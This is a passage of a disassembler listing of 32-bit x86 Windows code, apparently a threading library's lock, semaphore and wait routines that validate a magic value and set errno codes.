eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: ___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4324C0: ; CODE XREF: ___:004015BEj mov eax, [esp+4] push ebx push esi push edi test eax, eax jz short loc_432546 mov esi, [eax] test esi, esi jz short loc_432546 cmp esi, 0FFFFFFFFh jnz short loc_4324DC pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4324DC: ; CODE XREF: ___:004324D4j cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_432546 mov eax, [esi+10h] test eax, eax jnz short loc_432524 lea ebx, [esi+4] push ebx call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_432502 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432502: ; CODE XREF: ___:004324FCj mov eax, [esi+14h] inc eax mov [esi+14h], eax jnz short loc_432519 add esi, 8 push esi call sub_401E51 add esp, 4 mov edi, eax loc_432519: ; CODE XREF: ___:00432509j push ebx call sub_4010C3 add esp, 4 jmp short loc_43253C ; --------------------------------------------------------------------------- loc_432524: ; CODE XREF: ___:004324EAj dec eax mov [esi+10h], eax lea eax, [esi+4] push eax call sub_4010C3 push esi mov edi, eax call sub_4010C3 add esp, 8 loc_43253C: ; CODE XREF: ___:00432522j test edi, edi jz short loc_43254B mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432546: ; CODE XREF: ___:004324C9j ; ___:004324CFj ... mov eax, 16h loc_43254B: ; CODE XREF: ___:0043253Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432580: ; CODE XREF: ___:00401532j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43263A mov eax, [esi] test eax, eax jz loc_43263A cmp eax, 0FFFFFFFFh jnz short loc_4325B4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4325B4 cmp eax, 10h jnz loc_43263F loc_4325B4: ; CODE XREF: ___:0043259Cj ; ___:004325A9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43263A push esi call sub_40177B add esp, 4 test eax, eax jnz short loc_43263F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43262D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4325FD push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4325FD: ; CODE XREF: ___:004325ECj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43262D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43262D: ; CODE XREF: ___:004325DAj ; ___:0043261Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43263A: ; CODE XREF: ___:00432589j ; ___:00432593j ... mov eax, 16h loc_43263F: ; CODE XREF: ___:004325AEj ; ___:004325CAj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432690: ; CODE XREF: ___:00401FD2j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_432771 mov eax, [esi] test eax, eax jz loc_432771 cmp eax, 0FFFFFFFFh jnz short loc_4326C4 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_4326C4 cmp eax, 10h jnz loc_432776 loc_4326C4: ; CODE XREF: ___:004326ACj ; ___:004326B9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432771 push esi call sub_40177B add esp, 4 test eax, eax jnz loc_432776 lea ebx, [esi+4] push ebx call sub_40177B mov edi, eax add esp, 4 test edi, edi jz short loc_432709 push esi call sub_4010C3 add esp, 4 test eax, eax jnz short loc_432776 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432709: ; CODE XREF: ___:004326F4j mov eax, [esi+10h] test eax, eax jnz short loc_432759 mov eax, [esi+14h] test eax, eax jle short loc_432726 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432726: ; CODE XREF: ___:00432715j mov eax, [esi+0Ch] test eax, eax jle short loc_432764 push ebx call sub_4010C3 add esp, 4 mov edi, eax test edi, edi push esi jz short loc_43274B call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43274B: ; CODE XREF: ___:0043273Bj call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jnz short loc_43275E loc_432759: ; CODE XREF: ___:0043270Ej mov edi, 10h loc_43275E: ; CODE XREF: ___:00432757j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432764: ; CODE XREF: ___:0043272Bj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432771: ; CODE XREF: ___:00432699j ; ___:004326A3j ... mov eax, 16h loc_432776: ; CODE XREF: ___:004326BEj ; ___:004326DEj ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: ___:00401BF9j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jz short loc_4327D7 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_4327D7: ; CODE XREF: ___:004327CFj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432800: ; CODE XREF: ___:00401E97j mov eax, [esp+4] push eax call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432827 mov eax, [esp+8] test eax, eax jz short loc_432827 cmp eax, 2 jbe short loc_432827 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432827: ; CODE XREF: ___:0043280Fj ; ___:00432817j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432840: ; CODE XREF: ___:0040117Cj push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432886 mov edi, [esp+14h] test edi, edi jz short loc_432886 mov esi, [edi] push eax call sub_40154B add esp, 4 cmp esi, eax jl short loc_432886 push 0 call sub_401438 add esp, 4 cmp esi, eax jg short loc_432886 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_432886: ; CODE XREF: ___:00432852j ; ___:0043285Aj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328B0: ; CODE XREF: ___:00401EDDj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_4328D5 mov eax, [esp+0Ch] test eax, eax jz short loc_4328D5 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328D5: ; CODE XREF: ___:004328C0j ; ___:004328C8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4328F0: ; CODE XREF: ___:004015B4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_432909 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432909: ; CODE XREF: ___:00432900j mov eax, [esp+0Ch] test eax, eax jz short loc_43291D cmp eax, 1 jz short loc_43291D mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_43291D: ; CODE XREF: ___:0043290Fj ; ___:00432914j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:004019D8j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jnz short loc_432965 mov eax, [esp+0Ch] test eax, eax jz short loc_432965 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_432965: ; CODE XREF: ___:00432950j ; ___:00432958j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432980 proc near ; CODE XREF: sub_401050j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_4329C5 mov eax, [esp+4+arg_4] test eax, eax jl short loc_4329C0 cmp eax, 2 jg short loc_4329C0 test eax, eax jz short loc_4329AC mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_4329AC: ; CODE XREF: sub_432980+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_4020B3 add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_4329C0: ; CODE XREF: sub_432980+1Aj ; sub_432980+1Fj mov eax, 16h loc_4329C5: ; CODE XREF: sub_432980+12j pop esi retn sub_432980 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4329F0 proc near ; CODE XREF: sub_4020B3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_40154B add esp, 4 cmp esi, eax jl loc_432A95 push edi call sub_401438 add esp, 4 cmp esi, eax jg short loc_432A95 cmp esi, 0FFFFFFF1h jle short loc_432A30 cmp esi, 0FFFFFFFEh jge short loc_432A30 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_432A42 ; --------------------------------------------------------------------------- loc_432A30: ; CODE XREF: sub_4329F0+2Fj ; sub_4329F0+34j cmp esi, 0Fh jge short loc_432A42 cmp esi, 2 jle short loc_432A42 mov [esp+8+arg_8], 2 loc_432A42: ; CODE XREF: sub_4329F0+3Ej ; sub_4329F0+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_432A8E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx call near ptr 27308FFh nop test eax, eax jnz short loc_432A82 push ebp mov ebx, 16h call sub_4010C3 add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A82: ; CODE XREF: sub_4329F0+7Bj push ebp mov [edi+28h], esi call sub_4010C3 add esp, 4 loc_432A8E: ; CODE XREF: sub_4329F0+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432A95: ; CODE XREF: sub_4329F0+19j ; sub_4329F0+2Aj pop edi mov eax, 16h pop esi retn sub_4329F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432AD0 proc near ; CODE XREF: sub_40218Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_401758 add esp, 8 test eax, eax jnz short loc_432B09 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_432B04 mov eax, [esp+4+arg_8] test eax, eax jz short loc_432B04 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_432B04: ; CODE XREF: sub_432AD0+1Bj ; sub_432AD0+23j mov eax, 16h loc_432B09: ; CODE XREF: sub_432AD0+12j pop esi retn sub_432AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B20 proc near ; CODE XREF: sub_401438j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B33 cmp eax, 2 jg short loc_432B33 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_432B33: ; CODE XREF: sub_432B20+6j ; sub_432B20+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432B60 proc near ; CODE XREF: sub_40154Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_432B73 cmp eax, 2 jg short loc_432B73 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_432B73: ; CODE XREF: sub_432B60+6j ; sub_432B60+Bj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_432B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432BA0: ; CODE XREF: ___:00401AC8j push esi mov esi, [esp+8] test esi, esi jz short loc_432BE5 nop call near ptr 27308A1h cmp esi, eax jz short loc_432BE5 push esi push 0 push 200h call near ptr 2770316h nop test eax, eax jnz short loc_432BE5 nop call near ptr 27A08E3h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BE5: ; CODE XREF: ___:00432BA7j ; ___:00432BB1j ... mov eax, [esp+0Ch] test eax, eax jz short loc_432BFE nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432BFE: ; CODE XREF: ___:00432BEBj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432C30: ; CODE XREF: ___:0040150Aj push esi mov esi, [esp+8] test esi, esi jz short loc_432C75 nop call near ptr 27308A1h cmp esi, eax jz short loc_432C75 push esi push 0 push 400h nop call near ptr 2770316h test eax, eax jnz short loc_432C75 nop call near ptr 27A08E3h mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432C75: ; CODE XREF: ___:00432C37j ; ___:00432C41j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432CA0: ; CODE XREF: ___:00401B4Aj push 0 nop call near ptr 2811E0Eh xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432CC0 proc near ; CODE XREF: sub_401C76j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_432CDF mov edi, 1 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432CDF: ; CODE XREF: sub_432CC0+Aj push 4 push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_432CF7 mov edi, 0Ch loc_432CF7: ; CODE XREF: sub_432CC0+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 nop call near ptr 2730201h test eax, eax mov [esi], eax jnz short loc_432D24 mov edi, 1Ch nop call near ptr 77C1F2BCh mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D24: ; CODE XREF: sub_432CC0+4Fj test edi, edi jz short loc_432D36 call near ptr 77C1F2BCh nop mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432D36: ; CODE XREF: sub_432CC0+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_432CC0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432D80 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_432DA5 mov esi, [edi] test esi, esi jz short loc_432DA5 mov dword ptr [edi], 0 mov eax, [esi] push eax nop call near ptr 28207FBh test eax, eax jnz short loc_432DB7 mov [edi], esi loc_432DA5: ; CODE XREF: sub_432D80+8j ; sub_432D80+Ej nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432DB7: ; CODE XREF: sub_432D80+21j push esi nop call near ptr 77C2C21Bh add esp, 4 xor eax, eax pop edi pop esi retn sub_432D80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432DF0 proc near ; CODE XREF: sub_4010A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E23 mov eax, [eax] test eax, eax jz short loc_432E23 mov eax, [eax] push 0 push eax call near ptr 27603AFh nop cmp eax, 102h jnz short loc_432E35 mov esi, 0Bh call near ptr 77C1F2BCh nop mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E23: ; CODE XREF: sub_432DF0+7j ; sub_432DF0+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_432E35: ; CODE XREF: sub_432DF0+1Fj xor eax, eax pop esi retn sub_432DF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432E60 proc near ; CODE XREF: sub_401041j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_432E8D mov eax, [eax] test eax, eax jz short loc_432E8D mov eax, [eax] push eax call sub_401640 ; --------------------------------------------------------------------------- db 8Bh dd 4C483F0h, 1F74F685h, 0C436E890h, 3089777Eh, 5EFFC883h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432E8D: ; CODE XREF: sub_432E60+7j ; sub_432E60+Dj mov esi, 16h nop call near ptr 77C1F2BCh mov [eax], esi or eax, 0FFFFFFFFh pop esi retn sub_432E60 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432ED0 proc near ; CODE XREF: sub_401898j var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_432EF3 mov esi, 16h call near ptr 77C1F2BCh nop mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432EF3: ; CODE XREF: sub_432ED0+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_432F02 or ebx, 0FFFFFFFFh jmp short loc_432F61 ; --------------------------------------------------------------------------- loc_432F02: ; CODE XREF: sub_432ED0+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax nop call near ptr 77C49113h mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_432F61 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_432F61 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_432F61 dec ebx loc_432F61: ; CODE XREF: sub_432ED0+30j ; sub_432ED0+4Aj ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401D70 sub_432ED0 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 8 dd 0F685F08Bh, 11745B5Fh, 7EC33FE8h, 30899077h, 0FFC8835Eh dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h, 3 dup(90909090h) dd 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_432FE0 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432FFF mov eax, [eax] test eax, eax jz short loc_432FFF mov eax, [eax] push 0 push 1 push eax call near ptr 2730000h nop test eax, eax jnz short loc_43300F loc_432FFF: ; CODE XREF: sub_432FE0+6j ; sub_432FE0+Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_43300F: ; CODE XREF: sub_432FE0+1Dj xor eax, eax retn sub_432FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433030 proc near ; CODE XREF: sub_40204Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_433056 mov eax, [eax] test eax, eax jz short loc_433056 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_433056 mov eax, [eax] push 0 push ecx push eax nop call near ptr 2730000h test eax, eax jnz short loc_433066 loc_433056: ; CODE XREF: sub_433030+6j ; sub_433030+Cj ... call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_433066: ; CODE XREF: sub_433030+24j xor eax, eax retn sub_433030 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433080: ; CODE XREF: ___:00401433j mov eax, [esp+4] push esi test eax, eax push edi jz short loc_4330CD mov esi, [eax] test esi, esi jz short loc_4330CD mov edi, [esp+10h] test edi, edi jz short loc_4330CD mov eax, [esi] push 0 push eax nop call near ptr 27603AFh cmp eax, 102h jnz short loc_4330B1 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4330B1: ; CODE XREF: ___:004330A8j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx nop call near ptr 2730000h mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: ___:00433088j ; ___:0043308Ej ... nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_433100: ; CODE XREF: ___:0040220Cj nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433120: ; CODE XREF: ___:00402013j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_433140: ; CODE XREF: ___:00401CB2j nop call near ptr 77C1F2BCh mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_433160 proc near ; CODE XREF: sub_401992j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_433194 push esi push ecx call sub_4021EE add esp, 8 mov esi, eax push offset dword_50E960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_433194: ; CODE XREF: sub_433160+17j test eax, eax jnz short loc_43319D mov esi, 16h loc_43319D: ; CODE XREF: sub_433160+36j push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_433160 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4331D0 proc near ; CODE XREF: sub_4021EEj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_4331EE pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_4331EE: ; CODE XREF: sub_4331D0+11j lea eax, [esp+14h+var_4] push eax call sub_401C26 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_433229 mov [esp+14h+var_4], 1 loc_43320B: ; CODE XREF: sub_4331D0+5Ej ; sub_4331D0+63j push 8 push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_433240 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433229: ; CODE XREF: sub_4331D0+31j cmp [esp+14h+var_4], 1 jle short loc_43320B cmp ebx, 1 jnz short loc_43320B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_433240: ; CODE XREF: sub_4331D0+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_43325D mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43325D: ; CODE XREF: sub_4331D0+77j lea ecx, [esp+14h+arg_0] push ecx call sub_401A0F mov edi, eax add esp, 4 test edi, edi jnz short loc_433293 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_433293 mov dword ptr [esi], 3 loc_433293: ; CODE XREF: sub_4331D0+9Ej ; sub_4331D0+BBj lea edx, [esp+14h+arg_0] push edx call sub_4010AA add esp, 4 test edi, edi jnz short loc_4332AF mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; 